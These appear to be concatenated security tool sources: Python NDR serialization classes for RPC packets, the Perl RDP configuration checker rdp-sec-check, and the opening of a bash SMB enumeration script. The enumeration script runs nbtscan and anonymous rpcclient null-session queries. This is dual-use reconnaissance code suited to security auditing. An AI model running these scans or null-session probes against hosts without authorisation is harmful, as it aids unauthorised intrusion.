1088 if DEBUG: print "[*] Serializing ndr_array"
1089
1090 if self.cptr == 1:
1091 self.add_static(ndr_long(data=0x41424344))
1092
1093 return self.array_serialize(self.count)
1094
1095 class ndr_array_conformant(ndr_array):
1096 def __init__(self, **kwargs):
1097 self.basetype = kwargs.get('basetype', ndr_empty())
1098 self.elements = kwargs.get('elements', [])
1099 self.count = kwargs.get('count', 0x0)
1100 self.cmod= kwargs.get('cmod', ())
1101 self.cptr = kwargs.get('cptr', 0x0)
1102 self.name = kwargs.get('name', "")
1103 self.align_byte = kwargs.get('align_byte', "\xaa")
1104 self.packed_count = False
1105 self.size = 0
1106
1107 self.parent = None
1108 self.s = []
1109 self.d = []
1110
1111 def set_data(self, new_data):
1112 # We have to use the objects set_data if its a pointer
1113 self.basetype.set_data(new_data)
1114
1115 def get_size(self):
1116 return self.size
1117
1118 def serialize(self):
1119 if DEBUG: print "[*] Serializing ndr_array_conformant"
1120
1121 if self.cptr == 1:
1122 self.add_static(ndr_long(data=0x41424344))
1123
1124 # Pack our count
1125 if isinstance(self.count, int):
1126 num = self.count
1127
1128 self.add_static(ndr_long(data=num))
1129
1130 # If we used a ascii rep of size pack it
1131 # YYY: callback_0x12345678 will fail here
1132 elif isinstance(self.count, str):
1133 num = int(self.count)
1134
1135 self.add_static(ndr_long(data=num))
1136 # else we have a ndr object to pack
1137 else:
1138 # We have to handle the math operators i.e. [size_is(arg1 / 2)]
1139 num = self.count.get_data()
1140 if self.cmod:
1141 if self.cmod[0] == "/":
1142 num /= self.cmod[1]
1143 elif self.cmod[0] == "*":
1144 num *= self.cmod[1]
1145 else:
1146 print "[!] Problem with operator %s" % self.cmod[0]
1147 sys.exit(-1)
1148
1149 self.add_static(ndr_long(data=num))
1150 # End pack count
1151
1152 return self.array_serialize(num)
1153
1154 class ndr_array_varying(ndr_array):
1155 def __init__(self, **kwargs):
1156 self.basetype = kwargs.get('basetype', ndr_empty())
1157 self.elements = kwargs.get('elements', [])
1158 self.count = kwargs.get('count', 0x0)
1159 self.cmod= kwargs.get('cmod', ())
1160 self.cptr = kwargs.get('cptr', 0x0)
1161 self.name = kwargs.get('name', "")
1162 self.align_byte = kwargs.get('align_byte', "\xaa")
1163
1164 self.packed_count = False
1165 self.size = 0
1166
1167 self.parent = None
1168 self.s = []
1169 self.d = []
1170
1171 def set_data(self, new_data):
1172 # We have to use the objects set_data if its a pointer
1173 self.basetype.set_data(new_data)
1174
1175 def get_size(self):
1176 return self.size
1177
1178 def serialize(self):
1179 # Pack offset
1180 self.add_static(ndr_long(data=0x0))
1181
1182 # Need example of the cptr stuff
1183 if self.cptr == 1:
1184 self.add_static(ndr_long(data=0x41424344))
1185
1186 if isinstance(self.count, int):
1187 num = self.count
1188 elif isinstance(self.count, str):
1189 num = int(self.count)
1190 else:
1191 num = self.count.get_data()
1192 if self.cmod:
1193 if self.cmod[0] == "/":
1194 num /= self.cmod[1]
1195 elif self.cmod[0] == "*":
1196 num *= self.cmod[1]
1197 else:
1198 print "[!] Problem with operator %s" % self.cmod[0]
1199 sys.exit(-1)
1200
1201 # Pack our array count
1202 self.add_static(ndr_long(data=num))
1203
1204 return self.array_serialize(num)
1205
1206 class ndr_array_conformant_varying(ndr_array):
1207 def __init__(self, **kwargs):
1208 self.basetype = kwargs.get('basetype', ndr_empty())
1209 self.elements = kwargs.get('elements', [])
1210
1211 self.maxcount = kwargs.get('maxcount', 0x0)
1212 self.mmod= kwargs.get('mmod', ())
1213 self.mptr = kwargs.get('mptr', 0x0)
1214
1215 self.passed = kwargs.get('passed', 0x0)
1216 self.pmod= kwargs.get('pmod', ())
1217 self.pptr = kwargs.get('pptr', 0x0)
1218
1219 self.name = kwargs.get('name', "")
1220 self.align_byte = kwargs.get('align_byte', "\xaa")
1221
1222 self.packed_count = True
1223 self.size = 0
1224
1225 self.parent = None
1226 self.s = []
1227 self.d = []
1228
1229 def set_data(self, new_data):
1230 # We have to use the objects set_data if its a pointer
1231 self.basetype.set_data(new_data)
1232
1233 def get_size(self):
1234 return self.size
1235
1236 def serialize(self):
1237 # Need example of the mptr stuff
1238 if self.mptr == 1:
1239 self.add_static(ndr_long(data=0x41424344))
1240
1241 # Do conformant stuff
1242 if isinstance(self.maxcount, int):
1243 mnum = self.maxcount
1244 elif isinstance(self.maxcount, str):
1245 mnum = int(self.maxcount)
1246 else:
1247 mnum = self.maxcount.get_data()
1248 if self.mmod:
1249 if self.mmod[0] == "/":
1250 mnum /= self.mmod[1]
1251 elif self.mmod[0] == "*":
1252 mnum *= self.mmod[1]
1253 else:
1254 print "[!] Problem with operator %s" % self.mmod[0]
1255 sys.exit(-1)
1256
1257 # Pack conformant info
1258 self.add_static(ndr_long(data=mnum))
1259
1260 # Offset
1261 self.add_static(ndr_long(data=0x0))
1262
1263 # Need example of the pptr stuff
1264 if self.pptr == 1:
1265 self.add_static(ndr_long(data=0x41424344))
1266
1267 # Do varying stuff
1268 if isinstance(self.passed, int):
1269 pnum = self.passed
1270 elif isinstance(self.passed, str):
1271 pnum = int(self.passed)
1272 else:
1273 pnum = self.passed.get_data()
1274 if self.pmod:
1275 if self.pmod[0] == "/":
1276 pnum /= self.pmod[1]
1277 elif self.pmod[0] == "*":
1278 pnum *= self.pmod[1]
1279 else:
1280 print "[!] Problem with operator %s" % self.pmod[0]
1281 sys.exit(-1)
1282
1283 # Add varying count
1284 self.add_static(ndr_long(data=pnum))
1285
1286 return self.array_serialize(pnum)
0 #!/usr/bin/perl
1 # rdp-sec-check
2 # Copyright (C) 2014 Mark lowe ([email protected])
3 #
4 # This tool may be used for legal purposes only. Users take full responsibility
5 # for any actions performed using this tool. The author accepts no liability
6 # for damage caused by this tool. If these terms are not acceptable to you, then
7 # do not use this tool.
8 #
9 # In all other respects the GPL version 2 applies:
10 #
11 # This program is free software; you can redistribute it and/or modify
12 # it under the terms of the GNU General Public License version 2 as
13 # published by the Free Software Foundation.
14 #
15 # This program is distributed in the hope that it will be useful,
16 # but WITHOUT ANY WARRANTY; without even the implied warranty of
17 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 # GNU General Public License for more details.
19 #
20 # You should have received a copy of the GNU General Public License along
21 # with this program; if not, write to the Free Software Foundation, Inc.,
22 # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
23 #
24 # You are encouraged to send comments, improvements or suggestions to
25 # me at [email protected]
26 #
27 # Dependencies:
28 #
29 # CPAN module Encoding::BER. As root:
30 # # cpan
31 # cpan[1]> install Encoding::BER
32 #
33 # References:
34 #
35 # [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification
36 # http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx
37 #
38 use strict;
39 use warnings;
40 use IO::Socket::INET;
41 use Getopt::Long;
42 use Encoding::BER;
43
44 my %rdp_neg_type;
45 $rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ";
46 $rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP";
47 $rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE";
48
49 my %rdp_neg_rsp_flags;
50 $rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET";
51 $rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED";
52 $rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED";
53
54 my %rdp_neg_protocol;
55 $rdp_neg_protocol{"00"} = "PROTOCOL_RDP";
56 $rdp_neg_protocol{"01"} = "PROTOCOL_SSL";
57 $rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID";
58
59 my %rdp_neg_failure_code;
60 $rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER";
61 $rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER";
62 $rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER";
63 $rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS";
64 $rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER";
65 $rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER";
66
67 my %encryption_level;
68 $encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE";
69 $encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW";
70 $encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE";
71 $encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH";
72 $encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS";
73
74 my %encryption_method;
75 $encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE";
76 $encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT";
77 $encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT";
78 $encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT";
79 $encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS";
80
81 my %version_meaning;
82 $version_meaning{"00080001"} = "RDP 4.0 servers";
83 $version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers";
84
85 my $enc = Encoding::BER->new(warn => sub{});
86 my %config;
87
88 my $VERSION = "0.9-beta";
89 my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ )
90 Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com)
91
92 $0 [ options ] ( --file hosts.txt | host | host:port )
93
94 options are:
95
96 --file hosts.txt targets, one ip:port per line
97 --outfile out.log output logfile
98 --timeout sec receive timeout (default 10s)
99 --retries times number of retries after timeout
100 --verbose
101 --debug
102 --help
103
104 Example:
105 $0 192.168.1.1
106 $0 --file hosts.txt --timeout 15 --retries 3
107 $0 --outfile rdp.log 192.168.69.69:3389
108 $0 --file hosts.txt --outfile rdp.log --verbose
109
110 ";
111
112 my $debug = 0;
113 my $verbose = 0;
114 my $help = 0;
115 my $hostfile = undef;
116 my $outfile = undef;
117 my @targets = ();
118
119 my $global_recv_timeout = 10;
120 my $global_connect_fail_count = 5;
121 my $global_connection_count = 0;
122
123 my $result = GetOptions (
124 "verbose" => \$verbose,
125 "debug" => \$debug,
126 "help" => \$help,
127 "file=s" => \$hostfile,
128 "outfile=s" => \$outfile,
129 "timeout=i" => \$global_recv_timeout,
130 "retries=i" => \$global_connection_count,
131 );
132
133 if ($help) {
134 print $usage;
135 exit 0;
136 }
137
138 if ($debug) {
139 use Data::Dumper;
140 use warnings FATAL => 'all';
141 use Carp qw(confess);
142 $SIG{ __DIE__ } = sub { confess( @_ ) };
143 }
144
145 if (defined($outfile)){
146 # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file
147 use Symbol;
148 my @handles = (*STDOUT);
149 my $handle = gensym( );
150 push(@handles, $handle);
151 open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite;
152 tie *TEE, "Tie::Tee", @handles;
153 select(TEE);
154 *STDERR = *TEE;
155 }
156
157 if (defined($hostfile)) {
158 open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n";
159 while (<HOSTS>) {
160 chomp; chomp;
161 my $line = $_;
162 my $port = 3389;
163 my $host = $line;
164 if ($line =~ /\s*(\S+):(\d+)\s*/) {
165 $host = $1;
166 $port = $2;
167 }
168 my $ip = resolve($host);
169 if (defined($ip)) {
170 push @targets, { ip => $ip, hostname => $host, port => $port };
171 } else {
172 print "[W] Unable to resolve host $host. Ignoring line: $line\n";
173 }
174 }
175 close(HOSTS);
176
177 } else {
178 my $host = shift or die $usage;
179 my $port = 3389;
180 if ($host =~ /\s*(\S+):(\d+)\s*/) {
181 $host = $1;
182 $port = $2;
183 }
184 my $ip = resolve($host);
185 unless (defined($ip)) {
186 die "[E] Can't resolve hostname $host\n";
187 }
188 push @targets, { ip => $ip, hostname => $host, port => $port };
189 }
190
191 # flush after every write
192 $| = 1;
193
194 my $global_starttime = time;
195 printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime);
196 printf "\n[+] Scanning %s hosts\n", scalar @targets;
197 print Dumper \@targets if $debug > 0;
198
199 foreach my $target_addr (@targets) {
200 scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port});
201 }
202
203 print "\n";
204 printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime);
205 print "\n";
206
207 sub scan_host {
208 my ($host, $ip, $port) = @_;
209 print "\n";
210 print "Target: $host\n";
211 print "IP: $ip\n";
212 print "Port: $port\n";
213 print "\n";
214 print "[+] Connecting to $ip:$port\n" if $debug > 1;
215 my $socket;
216 my @response;
217
218 print "[+] Checking supported protocols\n\n";
219 print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported...";
220 $socket = get_socket($ip, $port);
221 @response = test_std_rdp_security($socket);
222 if (scalar @response == 19) {
223 my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])};
224 if ($type eq "TYPE_RDP_NEG_FAILURE") {
225 printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))};
226 $config{"protocols"}{"PROTOCOL_RDP"} = 0;
227 } else {
228 if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") {
229 print "Supported\n";
230 $config{"protocols"}{"PROTOCOL_RDP"} = 1;
231 } else {
232 printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))};
233 }
234 }
235 } elsif (scalar @response == 11) {
236 printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n";
237 $config{"protocols"}{"PROTOCOL_RDP"} = 1;
238 } else {
239 print "Not supported - unexpected response\n";
240 $config{"protocols"}{"PROTOCOL_RDP"} = 1;
241 }
242
243 print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported...";
244 $socket = get_socket($ip, $port);
245 @response = test_tls_security($socket);
246 if (scalar @response == 19) {
247 my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])};
248 if ($type eq "TYPE_RDP_NEG_FAILURE") {
249 printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))};
250 $config{"protocols"}{"PROTOCOL_SSL"} = 0;
251 } else {
252 if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") {
253 print "Supported\n";
254 $config{"protocols"}{"PROTOCOL_SSL"} = 1;
255 } else {
256 printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))};
257 }
258 }
259 } elsif (scalar @response == 11) {
260 printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n";
261 $config{"protocols"}{"PROTOCOL_SSL"} = 0;
262 } else {
263 print "Not supported - unexpected response\n";
264 $config{"protocols"}{"PROTOCOL_SSL"} = 0;
265 }
266
267 print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...";
268 $socket = get_socket($ip, $port);
269 @response = test_credssp_security($socket);
270 if (scalar @response == 19) {
271 my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])};
272 if ($type eq "TYPE_RDP_NEG_FAILURE") {
273 printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))};
274 $config{"protocols"}{"PROTOCOL_HYBRID"} = 0;
275 } else {
276 if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") {
277 print "Supported\n";
278 $config{"protocols"}{"PROTOCOL_HYBRID"} = 1;
279 } else {
280 printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))};
281 }
282 }
283 } elsif (scalar @response == 11) {
284 printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n";
285 $config{"protocols"}{"PROTOCOL_HYBRID"} = 0;
286 } else {
287 print "Not supported - unexpected response\n";
288 $config{"protocols"}{"PROTOCOL_HYBRID"} = 0;
289 }
290 print "\n";
291 print "[+] Checking RDP Security Layer\n\n";
292 foreach my $enc_hex (qw(00 01 02 08 10)) {
293 printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex};
294 $socket = get_socket($ip, $port);
295 @response = test_classic_rdp_security($socket);
296
297 if (scalar @response == 11) {
298 my @response_mcs = test_mcs_initial_connect($socket, $enc_hex);
299 unless (scalar(@response_mcs) > 8) {
300 print "Not supported\n";
301 next;
302 }
303 my $length1 = ord($response_mcs[8]);
304 my $ber_encoded = join("", splice @response_mcs, 7);
305 my $ber = $enc->decode($ber_encoded);
306 my $user_data = $ber->{value}->[3]->{value};
307 my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s;
308
309 my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/;
310 my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/;
311 my $server_cert_length_i = unpack("V", $server_cert_length);
312 my $random_length_i = unpack("V", $random_length);
313 if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) {
314 printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)};
315 $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1;
316 $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1;
317 $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP
318 } else {
319 printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)};
320 $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0;
321 $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0;
322 }
323 my $random = substr $sc_sec, 16, $random_length_i;
324 my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i;
325 } else {
326 print "Not supported\n";
327 }
328 }
329
330 if ($config{"protocols"}{"PROTOCOL_HYBRID"}) {
331 if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) {
332 $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1;
333 }
334 } else {
335 # is this really a problem?
336 $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1;
337 }
338
339 if ($config{"protocols"}{"PROTOCOL_RDP"}) {
340 if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) {
341 $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1;
342 } else {
343 $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1;
344 }
345
346 if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) {
347 $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1;
348 }
349
350 if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) {
351 $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1;
352 }
353
354 if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) {
355 $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1;
356 }
357 }
358
359 print "\n";
360 print "[+] Summary of protocol support\n\n";
361 foreach my $protocol (keys(%{$config{"protocols"}})) {
362 printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE";
363 }
364
365 print "\n";
366 print "[+] Summary of RDP encryption support\n\n";
367 foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) {
368 printf "[-] $ip:$port has encryption level: %s\n", $encryption_level;
369 }
370 foreach my $encryption_method (sort keys(%encryption_method)) {
371 printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE";
372 }
373
374 print "\n";
375 print "[+] Summary of security issues\n\n";
376 foreach my $issue (keys(%{$config{"issues"}})) {
377 print "[-] $ip:$port has issue $issue\n";
378 }
379
380 print Dumper \%config if $debug;
381 }
382
383 sub test_std_rdp_security {
384 my ($socket) = @_;
385 my $string = get_x224_crq_std_rdp_security();
386 return do_handshake($socket, $string);
387 }
388
389 sub test_tls_security {
390 my ($socket) = @_;
391 my $string = get_x224_crq_tls_security();
392 return do_handshake($socket, $string);
393 }
394
395 sub test_credssp_security {
396 my ($socket) = @_;
397 my $string = get_x224_crq_credssp_security();
398 return do_handshake($socket, $string);
399 }
400
401 sub test_classic_rdp_security {
402 my ($socket) = @_;
403 my $string = get_x224_crq_classic();
404 return do_handshake($socket, $string);
405 }
406
407 sub test_mcs_initial_connect {
408 my ($socket, $enc_hex) = @_;
409 my $string = get_mcs_initial_connect($enc_hex);
410 return do_handshake($socket, $string);
411 }
412
413 sub do_handshake {
414 my ($socket, $string) = @_;
415 print "[+] Sending:\n" if $debug > 1;
416 hdump($string) if $debug > 1;
417
418 print $socket $string;
419
420 my $data;
421
422 local $SIG{ALRM} = sub { die "alarm\n" };
423 eval {
424 alarm($global_recv_timeout);
425 $socket->recv($data,4);
426 alarm(0);
427 };
428 if ($@) {
429 print "[W] Timeout on recv. Results may be unreliable.\n";
430 }
431
432 if (length($data) == 4) {
433 print "[+] Received from Server :\n" if $debug > 1;
434 hdump($data) if $debug > 1;
435 my @data = split("", $data);
436 my $length = (ord($data[2]) << 8) + ord($data[3]);
437 printf "[+] Initial length: %d\n", $length if $debug > 1;
438 my $data2 = "";
439 while (length($data) < $length) {
440 local $SIG{ALRM} = sub { die "alarm\n" };
441 eval {
442 alarm($global_recv_timeout);
443 $socket->recv($data2,$length - 4);
444 alarm(0);
445 };
446 if ($@) {
447 print "[W] Timeout on recv. Results may be unreliable.\n";
448 }
449 print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1;
450 hdump($data2) if $debug > 1;
451 $data .= $data2;
452 }
453 return split "", $data;
454 } else {
455 return undef;
456 }
457 }
458
459 # http://www.perlmonks.org/?node_id=111481
460 sub hdump {
461 my $offset = 0;
462 my(@array,$format);
463 foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) {
464 my($len)=length($data);
465 if ($len == 16) {
466 @array = unpack('N4', $data);
467 $format="0x%08x (%05d) %08x %08x %08x %08x %s\n";
468 } else {
469 @array = unpack('C*', $data);
470 $_ = sprintf "%2.2x", $_ for @array;
471 push(@array, ' ') while $len++ < 16;
472 $format="0x%08x (%05d)" .
473 " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n";
474 }
475 $data =~ tr/\0-\37\177-\377/./;
476 printf $format,$offset,$offset,@array,$data;
477 $offset += 16;
478 }
479 }
480
481 sub get_x224_crq_std_rdp_security {
482 return get_x224_connection_request("00");
483 }
484
485 sub get_x224_crq_tls_security {
486 return get_x224_connection_request("01");
487 }
488
489 sub get_x224_crq_credssp_security {
490 return get_x224_connection_request("03");
491 }
492
493 sub get_x224_crq_classic {
494 return get_old_connection_request();
495 }
496
497 # enc_hex is bitmask of:
498 # 01 - 40 bit
499 # 02 - 128 bit
500 # 08 - 56 bit
501 # 10 - fips
502 #
503 # common value sniffed from wireshark: 03
504 sub get_mcs_initial_connect {
505 my $enc_hex = shift;
506 my @packet_hex = qw(
507 03 00 01 a2 02 f0 80 7f 65 82
508 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00
509 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00
510 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02
511 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02
512 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30
513 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00
514 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00
515 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08
516 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00
517 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00
518 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00
519 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
520 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00
521 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
522 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
523 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
524 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
525 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00
526 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
527 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
528 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
529 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
530 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00
531 );
532 push @packet_hex, $enc_hex;
533 push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00
534 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64
535 72 00 00 00 80 80 00 00
536 );
537 my $string = join("", @packet_hex);
538 $string =~ s/(..)/sprintf("%c", hex($1))/ge;
539 return $string;
540 }
541
542 # MS-RDPBCGR
543 sub get_x224_connection_request {
544 my $sec = shift;
545 my @packet_hex;
546 push @packet_hex, qw(03); # tpktHeader - version
547 push @packet_hex, qw(00); # tpktHeader - reserved
548 push @packet_hex, qw(00 13); # tpktHeader - length
549 push @packet_hex, qw(0e); # x224Crq - length
550 push @packet_hex, qw(e0); # x224Crq - connection request
551 push @packet_hex, qw(00 00); # x224Crq - ??
552 push @packet_hex, qw(00 00); # x224Crq - src-ref
553 push @packet_hex, qw(00); # x224Crq - class
554 push @packet_hex, qw(01); # rdpNegData - type
555 push @packet_hex, qw(00); # rdpNegData - flags
556 push @packet_hex, qw(08 00); # rdpNegData - length
557 push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP)
558
559 my $string = join("", @packet_hex);
560 $string =~ s/(..)/sprintf("%c", hex($1))/ge;
561 return $string;
562 }
563
564 sub get_old_connection_request {
565 my @packet_hex = qw(
566 03 00 00 22 1d e0 00 00 00 00
567 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73
568 68 3d 72 6f 6f 74 0d 0a
569 );
570 my $string = join("", @packet_hex);
571 $string =~ s/(..)/sprintf("%c", hex($1))/ge;
572 return $string;
573 }
574
575 sub get_socket {
576 my ($ip, $port) = @_;
577 my $socket = undef;
578 my $failcount = 0;
579 while (!defined($socket)) {
580 $global_connection_count++;
581 eval {
582 local $SIG{ALRM} = sub { die "alarm\n" };
583 alarm($global_recv_timeout);
584 $socket = new IO::Socket::INET (
585 PeerHost => $ip,
586 PeerPort => $port,
587 Proto => 'tcp',
588 ) or print "WARNING in Socket Creation : $!\n";
589 alarm(0);
590 };
591 if ($@) {
592 print "[W] Timeout on connect. Retrying...\n";
593 return undef;
594 }
595 unless (defined($socket)) {
596 $failcount++;
597 }
598 if ($failcount > $global_connect_fail_count) {
599 die "ERROR: failed to connect $global_connect_fail_count times\n";
600 }
601 }
602 return $socket;
603 }
604
605 sub print_section {
606 my ($string) = @_;
607 print "\n=== $string ===\n\n";
608 }
609
610 sub resolve {
611 my $hostname = shift;
612 print "[D] Resolving $hostname\n" if $debug > 0;
613 my $ip = gethostbyname($hostname);
614 if (defined($ip)) {
615 return inet_ntoa($ip);
616 } else {
617 return undef;
618 }
619 }
620
621 # Perl Cookbook, Tie Example: Multiple Sink Filehandles
622 package Tie::Tee;
623
624 sub TIEHANDLE {
625 my $class = shift;
626 my $handles = [@_];
627 bless $handles, $class;
628 return $handles;
629 }
630
631 sub PRINT {
632 my $href = shift;
633 my $handle;
634 my $success = 0;
635 foreach $handle (@$href) {
636 $success += print $handle @_;
637 }
638 return $success == @$href;
639 }
640
641 sub PRINTF {
642 my $href = shift;
643 my $handle;
644 my $success = 0;
645 foreach $handle (@$href) {
646 $success += printf $handle @_;
647 }
648 return $success == @$href;
649 }
650
651 1;
652
0 #!/bin/bash
1 # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal
2 # SECFORCE - Antonio Quina
3 # All credits to Bernardo Damele A. G. <[email protected]> for the ms08-067_check.py script
4
5 IFACE="eth0"
6
7 if [ $# -eq 0 ]
8 then
9 echo "Usage: $0 <IP>"
10 echo "eg: $0 10.10.10.10"
11 exit
12 else
13 IP="$1"
14 fi
15
16 echo -e "\n########## Getting Netbios name ##########"
17 nbtscan -v -h $IP
18
19 echo -e "\n########## Checking for NULL sessions ##########"
20 output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`
21 echo $output
22
23 echo -e "\n########## Enumerating domains ##########"
24 bash -c "echo 'enumdomains' | rpcclient $IP -U%"
25
